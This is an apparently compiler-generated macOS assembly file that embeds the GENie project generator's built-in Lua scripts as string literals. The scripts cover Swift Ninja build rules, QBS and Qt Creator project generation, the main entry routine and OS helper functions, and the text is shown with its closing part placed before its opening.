=\")\n_p(\"ld_baseflags =\")\nend\n_p(\"\")\n_p(\"# core rules for %s\", cfg.name)\n_p(\"rule swiftc\")\n_p(1, \"command = %s -frontend -c -primary-file $in $files $target -enable-objc-interop $sdk -I $out_dir -enable-testing -module-cache-path $out_dir/ModuleCache -D SWIFT_PACKAGE $module_maps -emit-module-doc-path $out_doc_name swiftc_flags -module-name $module_name -emit-module-path $out_module_name -emit-dependencies-path $out.d -emit-reference-dependencies-path $obj_dir/$basename.swiftdeps -o $out\", tool.swiftc)\n_p(1, \"description = compile $out\")\n_p(\"\")\n_p(\"rule swiftm\")\n_p(1, \"command = %s -frontend -emit-module $in $parse_as_library swiftc_flags $target -enable-objc-interop $sdk -I $out_dir -F $platform_path/Developer/Library/Frameworks -enable-testing -module-cache-path $out_dir/ModuleCache -D SWIFT_PACKAGE $module_maps -emit-module-doc-path $out_dir/$module_name.swiftdoc -module-name $module_name -o $out\", tool.swift)\n_p(1, \"description = generate module\")\n_p(\"\")\n_p(\"rule swiftlink\")\n_p(1, \"command = %s $target $sdk $swiftlink_flags -L $out_dir -o $out_dir/$module_name -F $platform_path/Developer/Library/Frameworks $in\", tool.swiftc)\n_p(1, \"description = linking $target\")\n_p(\"\")\n_p(\"rule ar\")\n_p(1, \"command = %s cr $ar_flags $out $in $libs %s\", tool.ar, (os.is(\"MacOSX\") and \" 2>&1 > /dev/null | sed -e '/.o) has no symbols$$/d'\" or \"\"))\n_p(1, \"description = ar $out\")\n_p(\"\")\n_p(\"rule link\")\n_p(\" command = %s $in $ld_baseflags $all_ldflags $libs -o $out\", tool.ld)\n_p(\" description = link $out\")\n_p(\"\")\nswift.file_rules(cfg, flags)\nlocal objfiles = {}\nlocal modfiles = {}\nlocal docfiles = {}\nfor _, file in ipairs(cfg.files) do\nif path.issourcefile(file) then\ntable.insert(objfiles, swift.objectname(cfg, file))\ntable.insert(modfiles, swift.modulename(cfg, file))\ntable.insert(docfiles, swift.docname(cfg, file))\nend\nend\n_p(\"\")\nswift.linker(prj, cfg, {objfiles, modfiles, docfiles}, tool, flags)\n_p(\"\")\nend\nfunction swift.objectname(cfg, file)\nreturn path.join(\"$obj_dir\", path.getname(file)..\".o\")\nend\nfunction swift.modulename(cfg, file)\nreturn path.join(\"$obj_dir\", path.getname(file)..\".o.swiftmodule\")\nend\nfunction swift.docname(cfg, file)\nreturn path.join(\"$obj_dir\", path.getname(file)..\".o.swiftdoc\")\nend\nfunction swift.file_rules(cfg, flags)\n_p(\"# build files\")\nlocal sfiles = Set(cfg.files)\nfor _, file in ipairs(cfg.files) do\nif path.issourcefile(file) then\nif path.isswiftfile(file) then\nlocal objn = swift.objectname(cfg, file)\nlocal modn = swift.modulename(cfg, file)\nlocal docn = swift.docname(cfg, file)\n_p(\"build %s | %s %s: swiftc %s\", objn, modn, docn, file)\n_p(1, \"out_module_name = %s\", modn)\n_p(1, \"out_doc_name = %s\", docn)\n_p(1, \"files = \".. ninja.list(sfiles - {file}))\nbuild_flags = \"swiftcflags\"\nend\n_p(1, \"flags = \" .. flags[build_flags])\nelseif path.isresourcefile(file) then\nend\nend\n_p(\"\")\nend\nfunction swift.linker(prj, cfg, depfiles, tool)\nlocal all_ldflags = ninja.list(table.join(tool.getlibdirflags(cfg), tool.getldflags(cfg), cfg.linkoptions))\nlocal lddeps = ninja.list(premake.getlinks(cfg, \"siblings\", \"fullpath\")) \nlocal libs = lddeps .. \" \" .. ninja.list(tool.getlinkflags(cfg))\nlocal function writevars()\n_p(1, \"all_ldflags = \" .. all_ldflags)\n_p(1, \"libs = \" .. libs)\nend\nlocal objfiles, modfiles, docfiles = table.unpack(depfiles)\n_p(\"build $out_dir/$module_name.swiftmodule | $out_dir/$module_name.swiftdoc: swiftm %s | %s\", table.concat(modfiles, \" \"), table.concat(docfiles, \" \"))\n_p(\"\")\nlocal output = cfg:getoutputfilename()\nif cfg.kind == \"StaticLib\" then\nlocal ar_flags = ninja.list(tool.getarchiveflags(cfg, cfg, false))\n_p(\"build %s: ar %s | %s $out_dir/$module_name.swiftmodule $out_dir/$module_name.swiftdoc\", output, table.concat(objfiles, \" \"), lddeps)\n_p(1, \"flags = %s\", ninja.list(tool.getarchiveflags(cfg, cfg, false)))\nelseif cfg.kind == \"SharedLib\" then\n_p(\"build %s : swiftlink %s | %s $out_dir/$module_name.swiftmodule $out_dir/$module_name.swiftdoc\", output, table.concat(objfiles, \" \"), libs)\nwritevars()\nelseif (cfg.kind == \"ConsoleApp\") or (cfg.kind == \"WindowedApp\") then\n_p(\"build %s: swiftlink %s | %s $out_dir/$module_name.swiftmodule $out_dir/$module_name.swiftdoc\", output, table.concat(objfiles, \" \"), lddeps)\nelse\np.error(\"ninja action doesn't support this kind of target \" .. cfg.kind)\nend\nend\n"
l_.str.66: ; @.str.66
.asciz "premake.qbs = { }\nlocal qbs = premake.qbs\nnewaction\n{\ntrigger = \"qbs\",\nshortname = \"qbs\",\ndescription = \"Generate QBS build files\",\nmodule = \"qbs\",\nvalid_kinds = {\"ConsoleApp\", \"WindowedApp\", \"StaticLib\", \"SharedLib\", \"Bundle\"},\nvalid_languages = {\"C\", \"C++\"},\nvalid_tools = {\ncc = { \"gcc\", \"msc\" },\n},\nonsolution = function(sln)\nio.eol = \"\\n\"\nio.indent = \"\\t\"\nio.escaper(qbs.esc)\npremake.generate(sln, sln.name .. \".creator.qbs\", qbs.generate_solution)\nio.indent = \" \"\npremake.generate(sln, sln.name .. \".creator.qbs.user\", qbs.generate_user)\nend,\nonproject = function(prj)\nio.eol = \"\\n\"\nio.indent = \"\\t\"\nio.escaper(qbs.esc)\npremake.generate(prj, prj.name .. \".qbs\", qbs.generate_project)\nend,\n}\n"
l_.str.67: ; @.str.67
.asciz "function premake.qbs.list(indent, name, table)\nif #table > 0 then\n_p(indent, '%s: [', name)\nfor _, item in ipairs(table) do\n_p(indent+1, '\"%s\",', item:gsub('\"', '\\\\\"'))\nend\n_p(indent+1, ']')\nend\nend"
l_.str.68: ; @.str.68
.asciz "local qbs = premake.qbs\nfunction qbs.generate_solution(sln)\n_p('/*')\n_p(' * QBS project file autogenerated by GENie')\n_p(' * https://github.com/bkaradzic/GENie')\n_p(' */')\n_p('')\n_p('import qbs')\n_p('')\n_p(0, 'Project {')\n_p(1, 'references: [')\nfor prj in premake.solution.eachproject(sln) do\n_p(2, '\"' .. prj.name .. '.qbs\",')\nend\n_p(1, ']')\n_p(0, '}')\nend\nlocal function is_app(kind)\nif kind == \"ConsoleApp\" or kind == \"WindowedApp\" then\nreturn true\nend\nreturn false\nend\nfunction qbs.generate_user(sln)\n_p(0, '<?xml version=\"1.0\" encoding=\"UTF-8\"?>')\n_p(0, '<!DOCTYPE QtCreatorProject>')\n_p(0, '<!-- QBS project file autogenerated by GENie https://github.com/bkaradzic/GENie -->')\n_p(0, '<qtcreator>')\nlocal startProject = 0\nlocal idx = 0\nfor prj in premake.solution.eachproject(sln) do\nif is_app(prj.kind) then\nif sln.startproject == prj.name then\nstartProject = idx\nend\nidx = idx + 1\nend\nend\n_p(1, '<data>')\n_p(2, '<variable>ProjectExplorer.Project.Target.0</variable>')\n_p(2, '<valuemap type=\"QVariantMap\">')\n_p(3, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DefaultDisplayName\">Desktop</value>')\n_p(3, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DisplayName\">Desktop</value>')\nlocal qbsguid = \"\"\nlocal qbsprofile = \"\"\nlocal qtcreatordir = \"\"\nif _OS == \"windows\" then\nqtcreatordir = path.join(os.getenv(\"APPDATA\"), \"QtProject/qtcreator\")\nelse\nqtcreatordir = path.join(os.getenv(\"HOME\"), \".config/QtProject/qtcreator\")\nend\nlocal file = io.open(path.join(qtcreatordir, \"qbs.conf\"))\nif file == nil then\nfile = io.open(path.join(qtcreatordir, \"qbs/1.6.0/qbs.conf\"))\nend\nif file ~= nil then\nfor line in file:lines() do\nif line == \"[org]\" then\nlocal str = 'qt-project\\\\qbs\\\\preferences\\\\qtcreator\\\\kit\\\\%'\nlocal index = string.len(str)+1\nfor line in file:lines() do\nif index == string.find(line, '7B', index) then\nline = string.sub(line, index+2)\nqbsguid = string.sub(line, 1, 36)\nqbsprofile = string.sub(line, 41)\nbreak\nend\nend\nelse\nlocal str = '\\t<key>org.qt-project.qbs.preferences.qtcreator.kit.'\nlocal index = string.len(str)+1\nfor line in file:lines() do\nif qbsguid == \"\" and index == string.find(line, '{', index) then\nline = string.sub(line, index+1)\nqbsguid = string.sub(line, 1, 36)\nelseif qbsguid ~= \"\" then\nqbsprofile = string.sub(line, 10, 29)\nbreak\nend\nend\nend\nbreak\nend\nio.close(file)\nend\n_p(3, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.Id\">{%s}</value>', qbsguid)\n_p(3, '<value type=\"int\" key=\"ProjectExplorer.Target.ActiveBuildConfiguration\">0</value>')\n_p(3, '<value type=\"int\" key=\"ProjectExplorer.Target.ActiveDeployConfiguration\">0</value>')\n_p(3, '<value type=\"int\" key=\"ProjectExplorer.Target.ActiveRunConfiguration\">%d</value>', startProject)\nidx = 0\nfor _, cfgname in ipairs(sln.configurations) do\n_p(3, '<valuemap type=\"QVariantMap\" key=\"ProjectExplorer.Target.BuildConfiguration.%d\">', idx)\n_p(4, '<value type=\"QString\" key=\"ProjectExplorer.BuildConfiguration.BuildDirectory\">build</value>')\n_p(4, '<valuemap type=\"QVariantMap\" key=\"ProjectExplorer.BuildConfiguration.BuildStepList.0\">')\n_p(5, '<valuemap type=\"QVariantMap\" key=\"ProjectExplorer.BuildStepList.Step.0\">')\n_p(6, '<value type=\"bool\" key=\"ProjectExplorer.BuildStep.Enabled\">true</value>')\n_p(6, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DefaultDisplayName\"></value>')\n_p(6, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DisplayName\">Qbs Build</value>')\n_p(6, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.Id\">Qbs.BuildStep</value>')\n_p(6, '<value type=\"bool\" key=\"Qbs.CleanInstallRoot\">false</value>')\n_p(6, '<valuemap type=\"QVariantMap\" key=\"Qbs.Configuration\">')\n_p(7, '<value type=\"QString\" key=\"qbs.buildVariant\">%s</value>', cfgname:lower())\n_p(7, '<value type=\"QString\" key=\"qbs.profile\">%s</value>', qbsprofile)\n_p(6, '</valuemap>')\n_p(5, '</valuemap>')\n_p(5, '<value type=\"int\" key=\"ProjectExplorer.BuildStepList.StepsCount\">1</value>')\n_p(5, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DefaultDisplayName\">Build</value>')\n_p(5, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DisplayName\"></value>')\n_p(5, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.Id\">ProjectExplorer.BuildSteps.Build</value>')\n_p(4, '</valuemap>')\n_p(4, '<valuemap type=\"QVariantMap\" key=\"ProjectExplorer.BuildConfiguration.BuildStepList.1\">')\n_p(5, '<valuemap type=\"QVariantMap\" key=\"ProjectExplorer.BuildStepList.Step.0\">')\n_p(6, '<value type=\"bool\" key=\"ProjectExplorer.BuildStep.Enabled\">true</value>')\n_p(6, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DefaultDisplayName\"></value>')\n_p(6, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DisplayName\">Qbs Clean</value>')\n_p(6, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.Id\">Qbs.CleanStep</value>')\n_p(6, '<value type=\"bool\" key=\"Qbs.CleanAll\">true</value>')\n_p(6, '<value type=\"bool\" key=\"Qbs.DryKeepGoing\">false</value>')\n_p(6, '<value type=\"bool\" key=\"Qbs.DryRun\">false</value>')\n_p(5, '</valuemap>')\n_p(5, '<value type=\"int\" key=\"ProjectExplorer.BuildStepList.StepsCount\">1</value>')\n_p(5, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DefaultDisplayName\">Clean</value>')\n_p(5, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DisplayName\"></value>')\n_p(5, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.Id\">ProjectExplorer.BuildSteps.Clean</value>')\n_p(4, '</valuemap>')\n_p(4, '<value type=\"int\" key=\"ProjectExplorer.BuildConfiguration.BuildStepListCount\">2</value>')\n_p(4, '<value type=\"bool\" key=\"ProjectExplorer.BuildConfiguration.ClearSystemEnvironment\">false</value>')\n_p(4, '<valuelist type=\"QVariantList\" key=\"ProjectExplorer.BuildConfiguration.UserEnvironmentChanges\"/>')\n_p(4, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DefaultDisplayName\">%s</value>', cfgname)\n_p(4, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DisplayName\"></value>')\n_p(4, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.Id\">Qbs.QbsBuildConfiguration</value>')\n_p(3, '</valuemap>')\nidx = idx + 1\nend\n_p(3, '<value type=\"int\" key=\"ProjectExplorer.Target.BuildConfigurationCount\">%d</value>', idx)\n_p(3, '<valuemap type=\"QVariantMap\" key=\"ProjectExplorer.Target.DeployConfiguration.0\">')\n_p(4, '<valuemap type=\"QVariantMap\" key=\"ProjectExplorer.BuildConfiguration.BuildStepList.0\">')\n_p(5, '<value type=\"int\" key=\"ProjectExplorer.BuildStepList.StepsCount\">0</value>')\n_p(5, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DefaultDisplayName\">Deploy</value>')\n_p(5, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DisplayName\"></value>')\n_p(5, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.Id\">ProjectExplorer.BuildSteps.Deploy</value>')\n_p(4, '</valuemap>')\n_p(4, '<value type=\"int\" key=\"ProjectExplorer.BuildConfiguration.BuildStepListCount\">1</value>')\n_p(4, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DefaultDisplayName\">Deploy locally</value>')\n_p(4, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DisplayName\">Qbs Install</value>')\n_p(4, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.Id\">Qbs.Deploy</value>')\n_p(3, '</valuemap>')\n_p(3, '<value type=\"int\" key=\"ProjectExplorer.Target.DeployConfigurationCount\">1</value>')\nidx = 0\nfor prj in premake.solution.eachproject(sln) do\nif is_app(prj.kind) then\n_p(3, '<valuemap type=\"QVariantMap\" key=\"ProjectExplorer.Target.RunConfiguration.%d\">', idx)\nif idx == startProject then\n_p(4, '<value type=\"int\" key=\"PE.EnvironmentAspect.Base\">2</value>')\nelse\n_p(4, '<value type=\"int\" key=\"PE.EnvironmentAspect.Base\">-1</value>')\nend\n_p(4, '<valuelist type=\"QVariantList\" key=\"PE.EnvironmentAspect.Changes\"/>')\n_p(4, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DefaultDisplayName\">%s</value>', prj.name)\n_p(4, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DisplayName\"></value>')\n_p(4, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.Id\">Qbs.RunConfiguration:%s.%s---Qbs.RC.NameSeparator---%s</value>', prj.name, qbsprofile, prj.name)\n_p(4, '<value type=\"QString\" key=\"Qbs.RunConfiguration.CommandLineArguments\"></value>')\nlocal cfg = premake.getconfig(prj, nil, nil)\nif cfg.debugdir ~= nil then\n_p(4, '<value type=\"QString\" key=\"Qbs.RunConfiguration.WorkingDirectory\">%s</value>', cfg.debugdir)\nelse\n_p(4, '<value type=\"QString\" key=\"Qbs.RunConfiguration.WorkingDirectory\"></value>')\nend\n_p(3, '</valuemap>')\nidx = idx + 1\nend\nend\n_p(3, '<value type=\"int\" key=\"ProjectExplorer.Target.RunConfigurationCount\">%d</value>', idx)\n_p(2, '</valuemap>')\n_p(1, '</data>')\n_p(1, '<data>')\n_p(2, '<variable>ProjectExplorer.Project.TargetCount</variable>')\n_p(2, '<value type=\"int\">1</value>')\n_p(1, '</data>')\n_p(1, '<data>')\n_p(2, '<variable>Version</variable>')\n_p(2, '<value type=\"int\">18</value>')\n_p(1, '</data>')\n_p(0, '</qtcreator>')\nend\n"
l_.str.69: ; @.str.69
.asciz "local qbs = premake.qbs\nlocal function is_excluded(prj, cfg, file)\nif table.icontains(prj.excludes, file) then\nreturn true\nend\nif table.icontains(cfg.excludes, file) then\nreturn true\nend\nreturn false\nend\nfunction qbs.generate_project(prj)\nlocal indent = 0\n_p(indent, '/*')\n_p(indent, ' * QBS project file autogenerated by GENie')\n_p(indent, ' * https://github.com/bkaradzic/GENie')\n_p(indent, ' */')\n_p(indent, '')\n_p(indent, 'import qbs 1.0')\n_p(indent, '')\nif prj.kind == \"ConsoleApp\" then\n_p(indent, 'CppApplication {')\n_p(indent + 1, 'consoleApplication: true')\nelseif prj.kind == \"WindowedApp\" then\n_p(indent, 'CppApplication {')\n_p(indent + 1, 'consoleApplication: false')\nelseif prj.kind == \"StaticLib\" then\n_p(indent, 'StaticLibrary {')\nelseif prj.kind == \"SharedLib\" then\n_p(indent, 'DynamicLibrary {')\nend\nindent = indent + 1\n_p(indent, 'name: \"' .. prj.name .. '\"')\n_p(indent, 'Depends { name: \"cpp\" }')\nlocal deps = premake.getdependencies(prj)\nif #deps > 0 then\nfor _, depprj in ipairs(deps) do\n_p(indent, 'Depends { name: \"%s\" }', depprj.name)\nend\nend\nlocal cc = premake.gettool(prj)\nlocal platforms = premake.filterplatforms(prj.solution, cc.platforms, \"Native\")\nfor _, platform in ipairs(platforms) do\nfor cfg in premake.eachconfig(prj, platform) do\nif cfg.platform ~= \"Native\" then\n_p('');\n_p(indent, 'Properties { /* %s */', premake.getconfigname(cfg.name, cfg.platform, true))\nindent = indent + 1\nlocal arch = \"\"\nlocal linkerFlags = cfg.linkoptions\nif cfg.platform == \"x32\" then\narch = '&& qbs.architecture == \"x86\"'\nelseif cfg.platform == \"x64\" then\narch = '&& qbs.architecture == \"x86_64\"'\nend\nif cfg.name == \"Debug\" then\n_p(indent, 'condition: qbs.buildVariant == \"debug\" %s', arch)\nelse\n_p(indent, 'condition: qbs.buildVariant == \"release\" %s', arch)\nend\n_p(indent, 'targetName: \"%s\"', cfg.buildtarget.basename)\n_p(indent, 'destinationDirectory: \"%s\"', path.getabsolute('projects/qbs/' .. cfg.buildtarget.directory) .. '/')\nif cfg.flags.Cpp11 then\n_p(indent, 'cpp.cxxLanguageVersion: \"c++11\"')\nelseif cfg.flags.Cpp14 then\n_p(indent, 'cpp.cxxLanguageVersion: \"c++14\"')\nelseif cfg.flags.Cpp17 then\n_p(indent, 'cpp.cxxLanguageVersion: \"c++17\"')\nelse\n_p(indent, 'cpp.cxxLanguageVersion: \"c++98\"')\nend\nif os.is(\"windows\") then\nif not cfg.flags.WinMain and (cfg.kind == 'ConsoleApp' or cfg.kind == 'WindowedApp') then\nif cfg.flags.Unicode then\n_p(indent, 'cpp.entryPoint: \"wmainCRTStartup\"')\nelse\n_p(indent, 'cpp.entryPoint: \"mainCRTStartup\"')\nend\nend\nend\nqbs.list(\n indent\n, \"cpp.commonCompilerFlags\"\n, cfg.buildoptions\n)\nqbs.list(\n indent\n, \"cpp.cFlags\"\n, cfg.buildoptions_c\n)\nqbs.list(\n indent\n, \"cpp.cxxFlags\"\n, cfg.buildoptions_cpp\n)\nqbs.list(\n indent\n, \"cpp.objcFlags\"\n, cfg.buildoptions_objc\n)\nqbs.list(\n indent\n, \"cpp.objcxxFlags\"\n, cfg.buildoptions_objc\n)\nif cfg.flags.StaticRuntime then\n_p(indent, 'cpp.runtimeLibrary: \"static\"')\nelse\n_p(indent, 'cpp.runtimeLibrary: \"dynamic\"')\nend\nif cfg.flags.PedanticWarnings\nor cfg.flags.ExtraWarnings\nthen\n_p(indent, 'cpp.warningLevel: \"all\"')\nelse\n_p(indent, 'cpp.warningLevel: \"default\"')\nend\nif cfg.flags.FatalWarnings then\n_p(indent, 'cpp.treatWarningsAsErrors: true')\nelse\n_p(indent, 'cpp.treatWarningsAsErrors: false')\nend\nif cfg.flags.NoRTTI then\n_p(indent, 'cpp.enableRtti: false')\nelse\n_p(indent, 'cpp.enableRtti: true')\nend\nif cfg.flags.NoExceptions then\n_p(indent, 'cpp.enableExceptions: false')\nelse\n_p(indent, 'cpp.enableExceptions: true')\nend\nif cfg.flags.Symbols then\n_p(indent, 'cpp.debugInformation: true')\nelse\n_p(indent, 'cpp.debugInformation: false')\nend\nif cfg.flags.Unicode then\n_p(indent, 'cpp.windowsApiCharacterSet: \"unicode\"')\nelse\n_p(indent, 'cpp.windowsApiCharacterSet: \"\"')\nend\nif not cfg.pchheader or cfg.flags.NoPCH then\n_p(indent, 'cpp.usePrecompiledHeader: false')\nelse\n_p(indent, 'cpp.usePrecompiledHeader: true')\n_p(indent, 'Group {')\n_p(indent+1, 'name: \"PCH\"')\n_p(indent+1, 'files: [\"' .. cfg.pchheader .. '\"]')\n_p(indent+1, 'fileTags: [\"cpp_pch_src\"]')\n_p(indent, '}')\nend\nfor _, value in ipairs(cfg.flags) do\nif (value == \"Optimize\") then\nelseif (value == \"OptimizeSize\") then\n_p(indent, 'cpp.optimization: \"small\"')\nelseif (value == \"OptimizeSpeed\") then\n_p(indent, 'cpp.optimization: \"fast\"')\nend\nend\nqbs.list(\n indent\n, \"cpp.defines\"\n, cfg.defines\n)\nlocal sortedincdirs = table.join(cfg.userincludedirs, cfg.includedirs, cfg.systemincludedirs)\ntable.sort(sortedincdirs, includesort)\nqbs.list(\n indent\n, \"cpp.includePaths\"\n, sortedincdirs\n)\nqbs.list(\n indent\n, \"cpp.staticLibraries\"\n, premake.getlinks(cfg, \"system\", \"fullpath\")\n)\nqbs.list(\n indent\n, \"cpp.libraryPaths\"\n, cfg.libdirs\n)\nqbs.list(\n indent\n, \"cpp.linkerFlags\"\n, linkerFlags\n)\ntable.sort(prj.files)\nif #prj.files > 0 then\n_p(indent, 'files: [')\nfor _, file in ipairs(prj.files) do\nif path.iscfile(file)\nor path.iscppfile(file)\nor path.isobjcfile(file)\nor path.isresourcefile(file)\nor path.iscppheader(file) then\nif not is_excluded(prj, cfg, file) then\n_p(indent+1, '\"%s\",', file)\nend\nend\nend\n_p(indent+1, ']')\nend\nif #prj.excludes > 0 then\n_p(indent, 'excludeFiles: [')\ntable.sort(prj.excludes)\nfor _, file in ipairs(prj.excludes) do\nif path.issourcefile(file) then\n_p(indent+1, '\"%s\",', file)\nend\nend\n_p(indent+1, ']')\nend\nindent = indent - 1\n_p(indent, '}');\nend\nend\nend\nindent = indent - 1\n_p(indent, '}')\nend\n"
l_.str.70: ; @.str.70
.asciz "_WORKING_DIR = os.getcwd()\nlocal function injectplatform(platform)\nif not platform then return true end\nplatform = premake.checkvalue(platform, premake.fields.platforms.allowed)\nfor sln in premake.solution.each() do\nlocal platforms = sln.platforms or { }\nif #platforms == 0 then\ntable.insert(platforms, \"Native\")\nend\nif not table.contains(platforms, \"Native\") then\nreturn false, sln.name .. \" does not target native platform\\nNative platform settings are required for the --platform feature.\"\nend\nif not table.contains(platforms, platform) then\ntable.insert(platforms, platform)\nend\nsln.platforms = platforms\nend\nreturn true\nend\nfunction _premake_main(scriptpath)\nif (scriptpath) then\nlocal scripts = dofile(scriptpath .. \"/_manifest.lua\")\nfor _,v in ipairs(scripts) do\ndofile(scriptpath .. \"/\" .. v)\nend\nend\nlocal profiler = newProfiler()\nif (nil ~= _OPTIONS[\"debug-profiler\"]) then\nprofiler:start()\nend\n_PREMAKE_COMMAND = path.getabsolute(_PREMAKE_COMMAND)\npremake.action.set(_ACTION)\nmath.randomseed(os.time())\nif (nil ~= _OPTIONS[\"file\"]) then\nlocal fname = _OPTIONS[\"file\"]\nif (os.isfile(fname)) then\ndofile(fname)\nelse\nerror(\"No genie script '\" .. fname .. \"' found!\", 2)\nend\nelse\nlocal dir, name = premake.findDefaultScript(path.getabsolute(\"./\"))\nif dir ~= nil then\nlocal cwd = os.getcwd()\nos.chdir(dir)\ndofile(name)\nos.chdir(cwd)\nend\nend\nif (_OPTIONS[\"version\"] or _OPTIONS[\"help\"] or not _ACTION) then\nprintf(\"GENie - Project generator tool %s\", _GENIE_VERSION_STR)\nprintf(\"https://github.com/bkaradzic/GENie\")\nif (not _OPTIONS[\"version\"]) then\npremake.showhelp()\nend\nreturn 1\nend\naction = premake.action.current()\nif (not action) then\nerror(\"Error: no such action '\" .. _ACTION .. \"'\", 0)\nend\nok, err = premake.option.validate(_OPTIONS)\nif (not ok) then error(\"Error: \" .. err, 0) end\nok, err = premake.checktools()\nif (not ok) then error(\"Error: \" .. err, 0) end\nok, err = injectplatform(_OPTIONS[\"platform\"])\nif (not ok) then error(\"Error: \" .. err, 0) end\nprint(\"Building configurations...\")\npremake.bake.buildconfigs()\nok, err = premake.checkprojects()\nif (not ok) then error(\"Error: \" .. err, 0) end\npremake.stats = { }\npremake.stats.num_generated = 0\npremake.stats.num_skipped = 0\nprintf(\"Running action '%s'...\", action.trigger)\npremake.action.call(action.trigger)\nif (nil ~= _OPTIONS[\"debug-profiler\"]) then\nprofiler:stop()\nlocal filePath = path.getabsolute(\"GENie-profile.txt\")\nprint(\"Writing debug-profile report to ''\" .. filePath .. \"'.\")\nlocal outfile = io.open(filePath, \"w+\")\nprofiler:report(outfile, true)\noutfile:close()\nend\nprintf(\"Done. Generated %d/%d projects.\"\n, premake.stats.num_generated\n, premake.stats.num_generated+premake.stats.num_skipped\n)\nreturn 0\nend\n"
.section __DATA,__data
.globl _builtin_scripts ; @builtin_scripts
.p2align 3
_builtin_scripts:
.quad l_.str
.quad l_.str.1
.quad l_.str.2
.quad l_.str.3
.quad l_.str.4
.quad l_.str.5
.quad l_.str.6
.quad l_.str.7
.quad l_.str.8
.quad l_.str.9
.quad l_.str.10
.quad l_.str.11
.quad l_.str.12
.quad l_.str.13
.quad l_.str.14
.quad l_.str.15
.quad l_.str.16
.quad l_.str.17
.quad l_.str.18
.quad l_.str.19
.quad l_.str.20
.quad l_.str.21
.quad l_.str.22
.quad l_.str.23
.quad l_.str.24
.quad l_.str.25
.quad l_.str.26
.quad l_.str.27
.quad l_.str.28
.quad l_.str.29
.quad l_.str.30
.quad l_.str.31
.quad l_.str.32
.quad l_.str.33
.quad l_.str.34
.quad l_.str.35
.quad l_.str.36
.quad l_.str.37
.quad l_.str.38
.quad l_.str.39
.quad l_.str.40
.quad l_.str.41
.quad l_.str.42
.quad l_.str.43
.quad l_.str.44
.quad l_.str.45
.quad l_.str.46
.quad l_.str.47
.quad l_.str.48
.quad l_.str.49
.quad l_.str.50
.quad l_.str.51
.quad l_.str.52
.quad l_.str.53
.quad l_.str.54
.quad l_.str.55
.quad l_.str.56
.quad l_.str.57
.quad l_.str.58
.quad l_.str.59
.quad l_.str.60
.quad l_.str.61
.quad l_.str.62
.quad l_.str.63
.quad l_.str.64
.quad l_.str.65
.quad l_.str.66
.quad l_.str.67
.quad l_.str.68
.quad l_.str.69
.quad l_.str.70
.quad 0
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "function os.executef(cmd, ...)\nlocal arg={...}\ncmd = string.format(cmd, table.unpack(arg))\nreturn os.execute(cmd)\nend\nlocal function parse_ld_so_conf(conf_file)\nlocal first, last\nlocal dirs = { }\nlocal file = io.open(conf_file)\nif file == nil then\nreturn dirs\nend\nfor line in file:lines() do\nfirst = line:find(\"#\", 1, true)\nif first ~= nil then\nline = line:sub(1, first - 1)\nend\nif line ~= \"\" then\nfirst, last = line:find(\"include%s+\")\nif first ~= nil then\nlocal include_glob = line:sub(last + 1)\nlocal includes = os.matchfiles(include_glob)\nfor _, v in ipairs(includes) do\ndirs = table.join(dirs, parse_ld_so_conf(v))\nend\nelse\ntable.insert(dirs, line)\nend\nend\nend\nreturn dirs\nend\nfunction os.findlib(libname)\nlocal path, formats\nif os.is(\"windows\") then\nformats = { \"%s.dll\", \"%s\" }\npath = os.getenv(\"PATH\")\nelse\nif os.is(\"macosx\") then\nformats = { \"lib%s.dylib\", \"%s.dylib\" }\npath = os.getenv(\"DYLD_LIBRARY_PATH\")\nelse\nformats = { \"lib%s.so\", \"%s.so\" }\npath = os.getenv(\"LD_LIBRARY_PATH\") or \"\"\nfor _, v in ipairs(parse_ld_so_conf(\"/etc/ld.so.conf\")) do\npath = path .. \":\" .. v\nend\nend\ntable.insert(formats, \"%s\")\npath = path or \"\"\nif os.is64bit() then\npath = path .. \":/lib64:/usr/lib64/:usr/local/lib64\"\nend\npath = path .. \":/lib:/usr/lib:/usr/local/lib\"\nend\nfor _, fmt in ipairs(formats) do\nlocal name = string.format(fmt, libname)\nlocal result = os.pathsearch(name, path)\nif result then return result end\nend\nend\nfunction os.get()\nreturn _OPTIONS.os or _OS\nend\nfunction os.is(id)\nreturn (os.get():lower() == id:lower())\nend\nlocal _64BitHostTypes = {\n\"x86_64\",\n\"ia64\",\n\"amd64\",\n\"ppc64\",\n\"powerpc64\",\n\"sparc64\"\n}\nfunction os.is64bit()\nif (os._is64bit()) then\nreturn true\nend\nlocal arch = \"\"\nif _OS == \"windows\" then\narch = os.getenv(\"PROCESSOR_ARCHITECTURE\")\nelseif _OS == \"macosx\" then\narch = os.outputof(\"echo $HOSTTYPE\")\nelse\narch = os.outputof(\"uname -m\")\nend\nif nil ~= arch then\narch = arch:lower()\nfor _, hosttype in 